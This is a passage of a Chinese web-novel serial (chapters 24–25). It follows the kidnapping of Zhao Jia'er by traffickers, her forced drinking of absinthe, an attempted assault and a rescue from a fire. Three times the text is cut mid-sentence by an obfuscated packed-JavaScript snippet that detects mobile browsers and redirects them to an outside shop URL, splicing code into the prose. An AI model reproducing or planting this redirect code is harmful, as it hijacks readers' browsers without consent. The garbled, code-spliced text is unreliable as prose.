廖书眉一席意有所指的嘲讽,让沈梦噤了声,情绪也变得低沉。她默默红了眼眶,瞅着廖书言,不甘心地问道:“廖老师,不论是家世背景,还是身材样貌,我都不比嘉儿姐姐差,您怎么就看不上我?如果我不是您的学生,您是不是就没有那些顾虑了?” 感情的事,三言两语还真是说不清楚。 对廖书言而言,他更不愿有人将赵嘉儿与其他人比较。 他没有回答沈梦眼泪婆娑的质问,只是问道:“是谁告诉你,我在昆明?” 沈梦气哼哼地回道:“我猜的!” “你却骗嘉儿说是我让你来昆明的,”廖书言微微冷笑,“她真心待你,你却骗她利用她。我跟你之间的事,希望你不要再去伤害她。” “我也不想……”沈梦有些委屈,“一开始我也是真心对她的,可是……可是知道她是廖老师喜欢的女孩,我就……就不甘心就嫉妒……” 廖书言不想继续为难下去,再次问道:“真的不愿说出是谁让你来昆明的?” “我……”沈梦有些犹豫,“我不能说。我若说了,那晚的视频就会被公开。” 廖书言一惊:“你被威胁了?” “嗯,”沈梦的神情委顿下来,声音里夹杂着抽泣,“对不起,廖老师!我不是有意欺瞒爸爸的,爸爸若是知道真相,一定会追究下去,那时候……那时候我就没脸活下去了!我是不得已才对爸爸说了谎,将廖老师牵扯进来,我以为……爸爸会逼您娶我。” “这种事,廖家可不会背锅!”廖书眉冷着脸道,“孩子不是书言的,就是拿枪逼他,我也不会同意!” 沈梦没有再吱声。 廖书言若有所思地看着沈梦,考虑到她头部的确也受了伤,也不再追究过往的事,嘱咐了一句:“我找个护工来照顾你,你先养伤。” 赵嘉儿突然接到市公安局的来电,对方声称需要她出面为陆嘉清过往的罪证做笔录。 赵嘉儿有些奇怪,再看那串并非市公安局认证号码,立马生起了警惕心:“之前已经把该说的都说了,我已经没有要说的了。” “赵小姐,这次和上次不一样,”电话里的男声循循善诱地劝道,“我已经为您申请了一次探视陆嘉清的机会,如果您能从这次的会面中,从他口中探知那伙毒贩的窝藏点,也是大功一件是不是?” 赵嘉儿有几分心动,斟酌着问道:“什么时候需要我过去呢?” 那头道:“毒贩心狠手辣,为了保证您的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227881|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身安全,我们这边会派人去接您。” “我在鲁甸灾区,走不开……” “孰轻孰重,赵小姐应该能拿捏清楚。身为与罪犯关系最亲近的知情人,我们真心希望赵小姐能配合办案,”那头的语气严厉起来,几乎不给赵嘉儿开口的机会,直接道,“赵小姐请做好准备,我们会安排地方警察去接您。为了不影响灾区的正常工作,接您的同志会穿着便装前去。” 赵嘉儿心里一团疑惑,没问出口,电话便被挂断了。 她越想越不对劲,苏杭见她一个人在一旁徘徊纠结,凑上前问道:“怎么了?” 赵嘉儿不知道怎么向她解释陆嘉清的事,摇了摇头,继续去帮忙。 中午休息的时候,她给廖书言打了一个电话,却被提示对方正在通话中。 想到他最近忙得不可开交,也没有再打过去。 没过多久,她就收到了廖书言的短信,不由嘟着嘴埋怨了一句:“果真在忙。” 下午四点,赵嘉儿便见到了自称是地方警察的两个中年男子。 赵嘉儿见过的警察有些斯文秀气,有些高大威猛,有些平易近人,有人严肃刻薄……但是,那些人给她的感觉无不充满正义感,让她肃然起敬。 可是,这两位高大强壮的男子似乎透着一股子邪气和狠劲,她有些害怕。 苏杭本来不愿放人,听说赵嘉儿曾经被人绑架过,这次是要去协助办理案子,只能勉为其难地让赵嘉儿跟着那两人走了。 她也算是见多了形形色/色的人,总觉得那两个男人的眼睛含着凶光。她越想越不对劲,连忙追了上去,哪里还看得到赵嘉儿的身影。 她在片片废墟、山沟里找了许久,终于找到了池勉和他的那一群记者同事。 “池勉!”苏杭爬上一块山石,朝正在拍摄的池勉大喊了一声。 池勉向她的方向望了一眼,向她摆了摆手,继续拍摄着从空中降下的一列列武装军人。 苏杭有些急,再次喊道:“嘉儿有危险!” 池勉一听,不由分说地将肩上的摄像机交到了另一名摄影记者手中:“交给你了!” “喂!”那同事苦着脸道,“我一个人怎么扛两架机器?” 池勉没有理会身后的声音,跳过一块块石头,紧盯着苏杭,问道:“嘉儿怎么了?” 苏杭道:“被两个自称是警察的男的带走了。但是,有些不对劲,他们手臂上似乎有纹身。” 赵嘉儿见车后座还坐着一名戴着眼睛的斯文青年,有些奇怪。 两个男子推她进了车,笑着解释道:“向云河向老板,廖大小姐的丈夫。” 赵嘉儿只从廖书言与廖书眉口中听过这个人,虽然也曾同住一间酒店,但是总没有机会见面。 见了他,她反而安心了,心里的疑虑也瞬间一扫而空。 黑色吉普车即使在崎岖不平的路上行驶,也不会太颠簸。 车内三个男人都不说话,她一个人有些闷,又不知道说些什么。 她想将自己将回昆明的消息告知廖书言,想到他这么久也没有回过电话,猜想他的事情没有处理完,正想掏出手机给他发一条短信,口袋里的手机突然响了。 看到是廖书言的来电,她正要去接,坐在前面副驾驶上的男子突然转过身子,向她伸出手掌:“拿来!” “什么?”赵嘉儿见他的态度不像之前那样和善,抱着手机向后躲了躲。 “见到犯人之前,禁止与外界联系。”不容拒绝的口吻。 赵嘉儿越发奇怪,看了一眼身边的向云河。 向云河笑着看着她,有些萎靡不振:“你被骗了。” 赵嘉儿的心顿时沉到了谷底。 手机铃声在逼仄的车厢里显得格外清晰,曾经她渴盼至深的铃声,竟让她进退两难。 男人的手依旧伸着,冷冷地看着她,似毒蛇的目光。 赵嘉儿紧抿着嘴,手指正要滑动接听键,前头开车的男人突然笑着提醒道:“你可以接电话,也可以告诉他你目前的处境,让他来救你。” 赵嘉儿的手指猛地一顿,想起暴风雨夜的担惊受怕,手指又收了回来。 24. 第24章 池中物(5) 铃声在响过很长一段时间后,车厢里再次沉寂了下来。 赵嘉儿怕廖书言再次打电话过来,咬咬牙,将手机关机后,心不甘情不愿地将其交到了目光如蛇的男人手里。 “你们要带我去哪里?” 开车男人嘴里发出暧昧不明的笑声:“当然是好地方。你放心,有向老板在呢,绝对不会让你失望。” 赵嘉儿听得一头雾水,扭头问着闭目养神的向云河:“你跟他们是一伙的?” 向云河颓然一笑:“你看我像么?” 赵嘉儿语塞,向云河扭头看着她,问道:“刚才为什么不接书言电话?我失踪快一天了,你要是再失踪了,他会手忙脚乱的。” 赵嘉儿埋着头没有应声。 她不想廖书言再为她冒险,可是,偏偏忘了,若是联系不到她,他一样会着急。 这样想着,她不禁揪了揪自己的头发,低声骂了一句:“我真笨!” 通了电话,至少可以告诉他一些线索。如今倒好,手机被没收,她再也没有机会联系上廖书言了。 车窗紧闭,有厚厚的帘子遮挡着,她想要从窗外找到一些线索的动机,也只能落空了。 道路监控里,沈梦突然从路边冲了出来,直接冲向廖书言的车子。廖书言及时刹住了车,沈梦还是摔倒在他车前,脑袋撞在了车头上。 交通大队的交警通知廖书言前来领车时,便将情况做了详细说明,又补充了一句:“监控有死角,但是,从录像里看,您的学生是被人从背后推到马路上的。所以,这起事故,不是您的责任,您可以领回您的车和驾驶证。” 廖书言道了声谢,领了车出了交警大队,在开往医院的途中,交警的话让他格外心惊。 有人想害沈梦? 难道她知道什么? 接二连三的事,让他心里焦躁,更是令他万分头疼,只有在想到远在灾区的赵嘉儿时,他才觉得他的世界还留有一份简单美好。 拨出去的电话,始终无人接听,他又接连拨了两次,竟提示对方的手机已关机。 再拨,依旧是同样的结果。 他想到之前漏接的那通电话,突然意识到不对劲。 在灾区的时候,赵嘉儿很少白天给他打电话。 另一边,池勉拨打赵嘉儿的电话时,也是多次被提示,对方的手机已关机。 看着天边依旧有些烈的太阳,池勉擦了擦额头上急出来的汗,一边在通讯里找人,一边对同样焦急不安的苏杭说着:“嘉儿可能真的出事了。” 苏杭道:“那怎么办?” 池勉道:“你继续自己的工作,我在找人。” 翻到廖书言的电话时,他犹豫了一会儿,廖书言的电话便打了进来。 池勉几乎是毫不犹豫地接通了电话,那头传来廖书言低沉却不失礼貌的声音:“池先生,我是廖书言,嘉儿在你所在的灾区么?” 池勉眼下也懒得去想廖书言与赵嘉儿之间的关系,直接道:“嘉儿被两个自称是警察的中年男人骗上了一辆黑色吉普车,没有挂车牌,那两人以嘉清为诱饵引她上钩,应该还是之前那伙人。我猜,他们在昆明有一处藏身点,嘉儿应该会被带到那儿去。” 廖书言道:“没有挂车牌的车,他们不会走高速,应该会绕路。” “廖老师,您能见到嘉清么?”池勉道突然低声问道。 廖书言似乎明白了他的言外之意,沉默片刻,道:“能。” 池勉微微松了一口气:“他应该愿意提供一些线索。” “明白了。” 廖书言又给医院里的廖书眉打了一通电话,将赵嘉儿的情况简单说明了一下,在路口调转了方向,向市公安局的方向开去。 赵嘉儿感觉车子已经开了很久,坐在后车座上,被颠得头晕,胃里有些犯恶心。 “我想吐,能把窗子开一下么?”她弱弱地请求道。 副驾驶座上的男人头也不回地递给她一只塑料袋,冷冰冰地道:“吐在这里。” 赵嘉儿只好接了过来,却只吐出了一肚子酸水,口里发苦发酸。 她想漱口,看了看前面的两人,也只能作罢。 吉普车突然转了一个弯,赵嘉儿没坐稳,一头撞在了车门上。 车子停了下来,副驾驶上的男人伸过来两根黑布条,用他千年不变的冰冷声音命令道:“把眼睛蒙上。” 向云河没有犹豫就接了过来,赵嘉儿见他蒙上了眼,才在那冰冷男人失去耐性的目光下,蒙住了眼睛。 车门被打开,她被一股大力拽出了车门。 “哎呀,这可是廖书言放在心上的第一个女孩,动作温柔一点!” 开车司机的声音。 下车后,赵嘉儿便被一根麻绳捆住了手,被前方一股大力牵着往前走了许久的路。 这里的道路崎岖不平,一路的石子硌得她的脚心疼,牵着她的男人却一直拽着她往前冲。道路渐渐平整,赵嘉儿感觉头顶的风更大了,耳边更有虫鸣鸟叫。 前方有人迎了上来,脚步声在她跟前停住。 她能闻到对方身上浓烈的香水味,应该是个女人。 感知到女人的靠近,赵嘉儿皱了皱鼻子,向后退了两步,对方却一把拽住她的胳膊,揭开了蒙住她眼睛的黑布,笑吟吟地道:“不记得我了?” 一丝落日的光芒陡然刺入赵嘉儿的双眼,她闭了闭眼。再睁开,一身T恤牛仔的女人正笑着打量着她,而她身边早已没有了其他人。 四周群山环绕,远眺可以看到笼罩在一片粉色光晕下的城市高楼之景。而令她感到奇怪的是,这座山上不见树木,只有大片大片的草和一堆堆奇形怪状的石头。 脚底是悬崖峭壁,赵嘉儿感觉山风几乎要将她的身子吹落崖底,双腿在微微发抖。 女人的脸就在眼前,赵嘉儿努力回想了许久,皱着眉头摇了摇头:“我没见过你。” 黄玲又是伤心又是失望地摇头叹息着:“果真是贵人多忘事啊!我给了你名片,一直等着你来找我,却迟迟不见你来,我就只好用这种方式请你来咯!” 她指着远方的灯火城市,笑道:“这座山叫长虫山,远离市区,廖书言就在那座城市的某个角落,不会想到你会被带到这里来,也不会知道你今晚会经历什么。” 黄玲拽住捆住赵嘉儿双手的绳子,捏住她的下巴,冰冷的眼神里有刻骨的恨意:“你不记得我了,是么?我却一直记着你!上次是你运气好,从我手里逃脱了,这次,没有廖书言来救你,也没有十三来护你,我看你以后还怎么去迷惑男人?” 赵嘉儿的心陡然一跳,被她拽得踉跄几步,开口问道:“你是……是……你的脸整容了?” 黄玲笑而不语,径直将她往山上带:“天要黑下来了,向老板已在山上等着你了。” “向老板?”赵嘉儿百思不得其解。 来时的路上,向云河几乎没有说过话,完全一副任人宰割的样子。 黄玲的话,突然让赵嘉儿意识到了一丝不同寻常之处。 山顶有几间用毛竹和茅草搭建起来的房子,昏黄的灯光从房子里透出,她甚至闻到了烤牛肉的香味。 黄玲推开占地面积最大的那间房子的竹门,向踟蹰在门外的赵嘉儿说道:“在灾区很久都没吃过这么丰盛的晚餐了吧?这是向老板特地为你准备的,进来吃啊!” 赵嘉儿的确被圆桌上的菜色吸引住了。 来云南这些日子,除了跟着廖书言出去吃了一顿,她在云南的日子似乎不太顺利,都不能好好坐下来享受一顿当地的特色美味。 碳烤小黄鱼和鸡翅、醋牛肉、火烧羊肉、黄金炸洋芋还冒着香喷喷的热气,孜然的香味在她鼻子里钻来钻去,让她忍不住打了一个喷嚏。 在这炎炎夏日里,再配一份冰菠萝,更是让她食欲大开。 她感觉肚子饿了。 黄玲为她解开了双手的束缚,意味不明地看了她一眼,便扭身离开了。 屋内只剩下赵嘉儿一人,她缓缓走到桌前,心里没有底。 她在屋子各个角落里检查了一遍,又趴在竹帘上向外看,在一片粉色霞光里,她见到向云河正向这间屋子走来,心里一阵紧张。 向云河推门进来时,赵嘉儿已经规规矩矩地坐在了饭桌前,浑身警惕地看着他。 向云河拉开竹椅,在她对面坐下,执起筷子给她的碗里夹了桌上的每一道菜,将她面前的饭碗堆得满满的。 “就算是不能见到明天的太阳,在美食面前,就应该好好享受。”向云河抬头望着她,镜片的双眼里藏着和善的笑。 赵嘉儿依旧不动面前的筷子,警惕地问道:“是你……你要做什么?” 向云河往自己碗里夹了一块洋芋,笑道:“我做这一切都是为了阿眉。廖家的事不是你看上去那么简单,我得将一切威胁到廖家的隐患拔除。” 他忽然抬头,镜片泛着幽幽冷光:“包括你。” 向云河的长相斯文秀气,声音也温沉柔和,说出来的话却让赵嘉儿脊背生寒。 “我怎么会是威胁廖家的隐患?”赵嘉儿虽然害怕,还是硬着头皮问了出来。 向云河轻声说道:“书言对你很上心,你会成为他的软肋,会分他的心,这不利于他日后继承廖家家业。而我,需要一个孩子,这是一举两得之事。” 赵嘉儿惊骇不已,猛地站了起来:“你是廖姐姐的丈夫,怎么会……” 她想要逃,向云河已起身站在了她面前,伸手勾起她的下巴,笑得悲凉:“你也知道我们是夫妻,可她甚至不愿为我生下一个孩子……我都知道,她一直背着我偷偷服用避孕药,甚至在怀孕后,又瞒着我将孩子打掉了。” 他松了赵嘉儿的下巴,向后退了两步,继续说道:“我爱她,可我也想要一个孩子。你能理解么?” 赵嘉儿无法苟同,再次向门边走去。 向云河没有再拦她,坐回到桌前,劝道:“周围都是那伙毒贩,你出不去。” “你跟他们不是一伙的么?”赵嘉儿听他语气似乎对那伙人有恨,心里更加疑惑了。 向云河道:“欲加害阿眉的人,我怎么可能跟他们是一伙?他们抓我们来,就是为了今夜这出好戏,促成我们。” 赵嘉儿看他说得面不改色理直气壮,心里一阵恶寒,更多的是慌乱。 不管他是否与外面的人是同伙,但是,在她看来,他绝对有问题。 赵嘉儿见他自顾自地用餐,打开一条门缝暗中看了看,只能坐回到桌前,一声不响地吃饭。 吃饱饭,才有力气思考问题,才能逃跑。 她将进入云南发生的事,一件件串联起来,渐渐想通了一些事。 “你认识沈梦么?” 向云河夹菜的动作一顿,推了推鼻梁上的眼镜,淡淡地道:“出差经过南京时,在书言的公寓楼下,见过一面。” 赵嘉儿低着头吃饭,目光却始终留意着他的神情、动作。 她又装作一脸幽怨地说着:“她来昆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227882|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明找廖老师,廖老师都不让我见她。真气人。” 她做出这副姿态,倒真有几分小女生吃醋闹脾气的样子。 向云河若有所思地看着她,商量着:“书言上次为你差点丢了命,阿眉整夜都没睡,我不想这样的事再发生。赵小姐,你如果同意我的提议,我今晚可以不碰你。” 赵嘉儿拄着筷子,抬头漠然地看着他。 “离开书言,不再与他来往!”向云河的脸上冒着汗,声音似乎有些没底气,“赵小姐,书言不能出事,他出事了,阿眉就废了!” 赵嘉儿低了头,用筷子一下一下戳着米饭,忽然觉得没了胃口。 黄玲进来收拾碗筷后,又给两人分别倒了一小杯酒。酒是绿色的,赵嘉儿不知道这是什么酒,看到向云河一口喝下后,还是不太放心。 黄玲笑道:“Absinth,诗人称它为‘绿色仙子’,关于这个酒有个美丽的爱情魔咒,你喝下它,大声喊出‘St.Luke,St.Luke,bekindtome,Indreamsletmemytrue-lovesee’你就能看见你的廖老师了!” 赵嘉儿显然不信,更觉得黄玲的笑有几分鬼魅。她将手中的酒杯放下,低声道:“我不会喝酒。” 黄玲变了脸:“不喝也得喝!” 她上前一把抓住赵嘉儿的头发,拿起桌上的酒杯,粗鲁又直接地捏开她的嘴,将绿莹莹的酒灌进了她的嘴里。 赵嘉儿只觉舌尖如同被火烧烤着,顺着她的喉咙,烧到了她的肺腑。她感觉嘴里在冒火,脚步已经有些踉跄。 眼前的人影虚虚实实,在她眼前不停地晃啊晃,耳边有女人娇媚的笑声,她还能分辨得出来。 是黄玲的声音。 “十三护着你,我就要借他人之手毁了你,你好好享受这一夜吧!” 赵嘉儿感觉身体很热,意识在一点点模糊。 她甩甩头,想要趁还有意识时,离开这间房间。 她追着黄玲离开的脚步跑了两步,却绊倒了脚边的竹椅,身体也软绵绵地倒了下去。 眼前突然出现廖书言的脸,他将她抱起,她感觉有些不对,那张脸又变成了陆嘉清的。 还是不对! 对方嘴里叫的不是她的名字。 “阿眉……” 向云河的脸陡然出现在她眼前,她顿时清醒了大半,伸手去推他,双手双脚却没有一丝力气。 推推搡搡间,碰翻了身后的竹椅,身后是宽大的圆桌。 赵嘉儿双手抵着桌角,在酒精一点点消磨她的意识时,廖书言的脸总是在她眼前晃。 她知道那都是假的,可又控制不住地去想他。 在向云河张臂扑过来之际,她猛地转身,一头撞在了桌角。 疼! 这一撞,撞得她的头脑清醒了许多,眼前却闪过了许多光影,她一时辨不清方向,只能捂着额头向桌子底下爬去。 她咬着牙,拖着一把竹椅挡在身前,一边揉着额头,一边嘟囔着:“怎么没有晕过去呢?好疼啊!” 向云河钻不进桌底,有些着急,蹲着身子在外面哄着:“阿眉,你出来啊!你别躲着我,我以后什么都听你的!不会再做对不起你的事了!” 赵嘉儿眸光一闪,笑了笑,问道:“你做了什么对不起我的事?” 向云河有些犹豫,突然抱头哭泣起来:“我不想……我什么都不知道,我只是那次经过南京看望了书言,醒来就发现那个女学生和我睡在一起……阿眉,我什么都没做……” 赵嘉儿却呆住了。 沈梦被打掉的孩子是向云河的? 赵嘉儿听着向云河不停地道歉、忏悔,突然觉得难过。 廖书眉若是和她没有关系,她也许不会因为向云河做下的事而气愤。 可是,廖书眉是廖书言的姐姐啊! 而她,也喜欢这样一位热情美丽的姐姐! 廖书眉一个人不想回酒店,只能留在医院里看着沈梦。 向云河与赵嘉儿相继失踪,令她越来越不安。 她见沈梦坐在床头无聊地翻看着杂志,起身走了出去,沈梦好似松了一口气,整个人顿时松弛了下来。 廖书眉在洗手间的镜子里看到自己憔悴的面容,叹了一口气。口袋里的手机震动了一下,她擦干手,走出洗手间,才掏出手机。 未知号码发过来的视频。 她找了处没人在的楼道,插上耳机,点开了视频。 一眼,她就看到了同桌吃饭的赵嘉儿与向云河。 廖书眉不禁喜形于色,却又有些不明白其中的原委,耐着性子看了下去,越看下去,越令她气愤。 她忍住想要摔掉手机的冲动,将这段视频又给廖书言发了过去。 她整理好心情,回到病房,看到沈梦坐在床头一边翻看着杂志,一边啃着苹果,在床边默默看了她许久。 沈梦有些不明所以,向后缩了缩身子,问道:“这样看着我干嘛?” 廖书眉笑道:“我看狐狸精是不是都长得和你一样?” 沈梦满脸不高兴:“我看在廖老师的面子上,敬重你,但你不能随口就侮辱人啊!” 廖书眉很想扇她耳光,忍住了。听到手机响了,一看是给自己发来视频的未知号码,她看了沈梦一眼,便出门接通了电话。 她没说话,电话的那一头也没有说话。 许久,那头才传来一声低叹:“眉眉,多年不见了,可还记得我?” 25. 第25章 雾中花(1) 男人的声音低沉伤感,还带着一丝蛊惑人心的磁性。简简单单一句寒暄的话语,被他说出来,仿佛多了几重旋律,张扬有度,犹如一支低沉舒缓的曲子,隔着未知的距离,从另一端传到了她的耳朵里。 廖书眉紧握着手机,身子绷得笔直,许久,才涩涩地开了口:“江眠,你真的回来了。” “是啊,我回来了,”电话那头的江眠笑了笑,语气低沉,“不过,听你口气,好像不欢迎我回来啊?” 廖书眉此时已经整理好心情,背靠着白色墙壁,道:“你发来的视频我看了……他们在哪里?” 电话那头沉默了许久,问了一句:“向云河背叛了你,你还在乎他死活?” 廖书眉将耳边的发丝别到耳后,笑了:“他还没有那个胆子……是你设计他和那个沈梦睡在了一张床上,是吧?” 电话里发出一声嗤笑,并没有回话。 廖书眉紧了紧眉头,又道:“江眠,你要是因为当年的事心有不甘,想要报复,冲着我来就行,不要将无辜的人牵扯进来!” “怎么会是无辜的人呢?”江眠讽刺一笑,“一人是你丈夫,一人是你那宝贝弟弟的女人……眉眉,我舍不得伤害你,只能从你身边人下手了,向云河若是动了那个女人,我可以考虑留他性命,若是不敢……那两个人就只能将命留在那里了。” “你这是犯罪!” 江眠漠然地笑道:“绑架他们的是那伙毒贩,到时候一同陪葬,死无对证……你在录音是不是?没用的,讲完这通电话,病毒会侵入你的手机系统,将你的手机数据清零。” 廖书眉又气又恼,插在口袋里的左手死死地抠着衣料,心平气和地问道:“你告诉我,他们到底在哪里?” “你弟弟正赶往那边,”江眠叹息着,“不过,我也说过了,那边有危险,他去了,说不准会将命也丢在那里。” 听闻,廖书眉更是心惊:“你能监控到书言的行踪?” 江眠轻轻笑了两声,便挂断了电话。 廖书眉颓然地放下电话,长长地呼出一口气,正要给廖书言去个电话提个醒,手机竟已关机了。 天边的霞光渐渐隐去,廖书言在崎岖不堪的山道上停了车,发现前头停着一辆无牌吉普车,结合池勉的话,他知道陆嘉清给他提供的线索没有错。 这里山头众多,廖书言不知道赵嘉儿被带到了哪座山头上。 廖书眉发来的视频里,也只能看清屋子的布局。 天黑看不清山路,他打开手机的电筒,择最近的一条路上了山。脚下的石子路铺得并不平整,尖锐的石子磨得他脚底生疼,脚下突然发生一声脆响,他抬脚看了看。 花生? 廖书言并未在意,在光照的指引下,走过这条石子路,在山道的岔路口,他再次看到了一颗花生。 这一路上,他偶尔看见遗落在地上的花生和瓜子,以为是游客上山途中遗落的。 现在看来,这是线索。 他再不敢大意,一路弯着腰,在黑暗里循着一颗颗花生和一粒粒瓜子找到了青草覆没的山头上。 远处,用茅草和毛竹搭建的房间里散发着昏黄灯火,与视频中的景象一般无二。 看到附近有体格健壮的男人徘徊,廖书言不敢贸然靠近,躲在一垛草丛后,拨出了一串电话。 “徐警官,在长虫山。” 电话那头的徐警官有些难以置信:“陆嘉清提供的线索是真的?” 只要关乎赵嘉儿的生死,陆嘉清便不会置之不理。 廖书言没有与徐警官说起其中的原委,只道:“歹徒大概有十来人……” “廖先生,您不要一个人冲进去!这边立刻出警!”徐警官道,“另外,我在此郑重向您道歉!” 廖书言笑了笑。 若不是志愿者队伍里的徐鸣正是徐警官的侄子,有徐鸣作证确认赵嘉儿确实被两个冒充警察的男人带走了,徐警官也不会带着十名警察不远不近地跟过来。 挂断电话前,他诚心诚意地说道:“辛苦徐警官了。” 山顶有五间独立的房间,廖书言不知道赵嘉儿与向云河在哪一间。 徐警官带人上来需要一段时间,他不能在此干等下去。 至少,他要确认赵嘉儿在哪里?现在是否安然无恙? 赵嘉儿躲在桌底下,听着向云河坐在桌子外面,絮絮叨叨地讲了许多他与廖书眉之间的事。 两人念了同一所小学,后来的中学、大学,他为了时常见到她,与她报考的都是同一所学校。然而,廖书眉却从未正眼看过他。 不,确切地说,从未将任何异性放在心里过。 直到江眠的出现,她的眼里才有了柔光,如同万千恋爱中的少女一样,眼里只有她的心上人。 可是,相爱中的男女却被父母棒打鸳鸯,生生拆散了热恋中的一对恋人。 向云河的声音哽咽着,惨笑道:“那一年,阿眉的母亲去世了,临终前让阿眉立下誓言,此生都不得与江眠再来往!她母亲信佛,素有慈悲胸怀,性情柔和平顺,却唯独在此事上态度强硬……后来,廖家发生了一些事,我出面帮了一把,阿眉才和我做成了夫妻……赵小姐,先前冒犯之处,请你原谅!” 赵嘉儿见他目光清明,不再将她错认成是廖书眉,心里松了一口气:“你的酒醒了?” “我没喝,”向云河笑道,“Absinth酒精度数很高,喝了容易产生幻觉,这是我第二次见到这种酒,不会傻到再喝下去。那晚,我就是喝了这种酒,错将那个学生当成了阿眉,犯下了错……” 赵嘉儿紧张的神经稍稍放松了一些,松了紧紧握住左手手腕的右手。 双手的手腕上,布满深浅不一的指甲印。 神经放松下来,她感觉酒意一阵阵涌了上来,觉得头晕,双目发昏。 向云河的脸在他眼前变来变去,一会儿是他,一会儿是廖书言。 她将挡在两人之间的椅子推开,似乎不知道自己此时在桌底下,猛地站起身,直撞得她惨叫一声,捂着脑袋蹲了下来,眼眶里泛起了泪花。 “赵小姐!” 赵嘉儿顺着桌脚看过去,看到的是廖书言,又要站起来,后脑勺再次撞上了桌板。 她被撞得头昏脑胀,看着近在咫尺的向云河,含着泪,坐在桌底下,一边使劲拍着桌板,一边满腹委屈地哭诉着:“廖老师,我过不去您那边!这个东西……总是打我!” 向云河哭笑不得,循循善诱地道:“你从这里爬出来。” 赵嘉儿正要钻出桌子,突然听到外边一阵喧哗,她似乎听到了枪声。 向云河惊得起身:“警察?” 他闻到汽油的味道,看见周围的房子都着了火,有滚滚浓烟窜了进来,他突然意识到不对劲。 他蹲下身,将依旧藏在桌底下捂着脑袋的赵嘉儿拖了出来。赵嘉儿被他拽得胳膊疼,拍打着他的手臂:“廖老师,您轻点,抓得我好疼!” 向云河此时也顾不得什么,在大火肆虐进来时,他生拉硬拽得将她拖到了门边,却次次被大火逼得进退维谷。 赵嘉儿觉得周围很热、很呛人,挣开向云河的手,踉踉跄跄地向屋中的圆桌走去。一矮身,又钻了进去。 Absinth的酒劲上来后,她觉得眼前的火花又温暖又明亮,十分好看。 向云河知道Absinth会让人产生一些幻觉,见赵嘉儿意识不到眼前的危险,他想到自己的初心,没有再去管她。 用西装外套包住头冲开屋门后,他辨不清方向,只是偶尔听见山岭间有枪声响起,而那伙毒贩早已放火烧了这里,离开了。 房子与房子间隔了距离,他在大火里穿行,见到前方有人在唤:“嘉儿!” 向云河想了想,立马奔了过去:“书言!” 廖书言见到是向云河,一想到那段视频,眉心微皱,心里有些怪异。 向云河没有留意到他的神色,向他指了指身后冒着火的竹房子:“赵小姐在里面,不肯出来。” 廖书言一阵风似的从他身边跑过,有血腥味窜入他的鼻腔。 向云河这时才注意到,在廖书言之前站立的地方,留下了一滩血渍,一路延伸着。 他在原地静默了片刻,又折回身子,跟了上去。 赵嘉儿觉得火势越来越大,身体越来越热,她意识到不妙,可浑身没劲。一爬出桌底,头顶便有火掉下来,她不敢离开半步。 那扇竹门已经被烧得摇摇欲坠,她的耳朵里只听得见噼里啪啦的响声,还有一丝若有若无的呼唤。 “嘉儿——” 她听出来了,是廖书言的声音,不是幻觉。 廖书言从火光里而来,几步冲到她面前,蹲下身,向她张开双臂:“嘉儿……” 她慢慢爬了出来,发现不是幻觉,眼中的泪终于忍不住流了出来,一头撞进了他的怀里。 廖书言如获至宝一样抱起她,起身才发现,他与她已置身火海,几乎无路可走。 空中有直升机盘旋呼啸,向下方的两人抛下一架云梯,廖书眉趴在舱门口朝下方大声喊道:“书言,快上来!” 廖书言先让赵嘉儿爬上了云梯,因为右臂受伤的缘故,他费了许多力气才顺利爬上机舱。 “姐夫还在下面。” 廖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227883|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书眉不动声色,看着他被鲜血染红的白色衬衫,问道:“你的手臂怎么了?” “没事,”廖书言忍着痛笑了笑,“我心急了些,警察没来时,被人用刀划伤了。” 赵嘉儿此时已清醒了大半,看到那些触目惊心的血迹,慌张地问道:“廖姐姐,有急救箱么?” “有,”廖书眉从机舱的柜子下取出急救箱,递给赵嘉儿,“你会包扎么?” 赵嘉儿有些底气不足:“在灾区学了一些,应该没问题。” 廖书眉找到向云河时,向云河正躺在半人高的草丛里,睁着眼看着漆黑如墨的夜空。 在火海里听到廖书眉声音的那一刻,他突然觉得没脸再见她了,只想躲在厚厚的草丛里,让蔓延过来的大火将他这副身躯烧得干干净净。 眼前突然出现廖书眉平静冷然的脸,他惊得坐了起来,不料廖书眉突然扇了他一记耳光。 啪!啪! 又是两声清脆的耳光。 向云河被扇得脑袋发昏,愣愣地望着她。 “起来!”廖书眉伸手去拽他,目光始终无波无澜,声音低沉,“之前那一次,我不和你算账,但是,这一次,你得跪在书言和嘉儿面前,好好磕头认错!” 向云河望着她,突然就抱着她哭了。 廖书眉并没有急着让向云河与另一边机舱的两人见面,自上了直升机后,就没有再说过话。 